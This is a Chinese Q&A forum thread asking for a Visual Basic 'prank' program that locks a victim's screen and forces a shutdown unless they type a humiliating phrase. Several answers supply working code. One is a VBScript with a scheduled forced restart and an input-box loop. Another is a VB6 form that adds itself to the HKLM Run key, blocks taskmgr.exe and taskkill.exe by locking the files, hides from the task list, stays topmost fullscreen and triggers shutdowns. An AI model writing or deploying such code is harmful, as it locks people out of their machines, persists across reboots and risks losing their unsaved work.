Question

vb 恶搞关机源码

就是那种恶搞的 点了后就 全屏 不能TAB+ALT切换（切换不出来） 不能任务管理器（有任务管理器，但是全屏挡住了 也不能切换 关闭这个恶搞程序） 不能ALT+F4 关闭！ 除非你按照上边的提示输入字 才能退出 否则就30秒倒记时关机 ！

Answer 1

新建一个文本文档，把下面的代码复制进去。
然后把后缀名改为.vbe就可以了。
这个程序只有按照他上面的提示才可以解开。不然就会重启，而且是调用内部命令，所以任务管理器根本关不掉他，朋友你可以试试。。
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""我是头猪，不说就一分钟关你机，不信，试试···"" ",0 ,true
dim a
do while(a <> "我是头猪")
a = inputbox ("说我是头猪,就不关机，快撒，说 ""我是头猪"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛，"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，好玩"

Answer 2

以前写过一个
这点分就讲思路了
使用一个timer控件 大概每300毫秒执行一次
1最大化
2关闭任务管理器

在unload里面设置Cancel =-1

关机就用1楼的代码

Answer 3

'这是我以前写的一个,很牛的.我自己都没办法关,只能照样子输入
'添加一个按钮command1,一个文本框,text1,和一个时间控件timer1
'把下面的代码复制到窗体里就可以了.
'注:任务管理器打不开.自动加入启动项.
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal X As Long, ByVal Y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long

Dim a, i As Integer
Private Sub Command1_Click()
a = a + 1
If a = 3 Then Shell "cmd.exe /c shutdown -s -t 5": Close #1: Close #2: MsgBox "连续三次输入错误,系统5秒后关机.", vbCritical, "关机!"
If Text1.Text <> "我是猪我是猪我是猪" Then
'------------------------
Dim myval
myval = SetWindowPos(Me.hwnd, -2, 0, 0, 0, 0, 3)
'--------------------
MsgBox "老老实实的输,不老实的话.嘿嘿,就要关机了." _
& Chr(13) & Chr(13) & Chr(10) & Chr(10) & "还剩" & (30 - i) & "秒关机!" _
& Chr(13) & "还剩下" & (3 - a) & "次机会.", vbExclamation, "警告!"
myval = SetWindowPos(Me.hwnd, -1, 0, 0, 0, 0, 3)
Else
Timer1.Interval = 0
myval = SetWindowPos(Me.hwnd, -2, 0, 0, 0, 0, 3)
MsgBox "你就是猪.!早讲不就OK了.", vbInformation, "哈哈."
Close #1
Close #2
End
End If
End Sub
Private Sub Form_Load()
Set w = CreateObject("wscript.shell")
w.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"
'加入启动项目
Close #1
Close #2
Open "c:\windows\system32\taskmgr.exe" For Input Lock Read Write As #1
Open "c:\windows\system32\taskkill.exe" For Input Lock Read Write As #2
'将窗体的BorderStyle 属性设置为0
Me.BackColor = vbBlack
Me.WindowState = 2 '将窗口最大化,全屏
' 窗口置前
Dim myval
myval = SetWindowPos(Me.hwnd, -1, 0, 0, 0, 0, 3)
text1.text="点击这里输入三个我是猪!否则三十秒后关机!"
'==========
App.TaskVisible = False
End Sub

Private Sub Text1_Click()
If Text1.Text = "点击这里输入三个我是猪!否则三十秒后关机!" Then
Text1.Text = ""
Else
End If
End Sub

Private Sub Text1_GotFocus()
Text1.SelStart = 0
Text1.SelLength = Len(Text1)
End Sub

Private Sub Timer1_Timer()
i = i + 1
Command1.Caption = "确定输入" & "(" & (30 - i) & ")"
If i = 30 Then
Close #1
Close #2
Close #3
Shell "cmd.exe /c shutdown -s -t 3"
myval = SetWindowPos(Me.hwnd, -2, 0, 0, 0, 0, 3)
MsgBox "时间到系统三秒后关机．", vbExclamation, "关机"
End If
End Sub

Answer 4

shell "cmd /c shutdown -s -f"

Answer 5

进取心要 得，好学也 要的 ，探讨也要的…………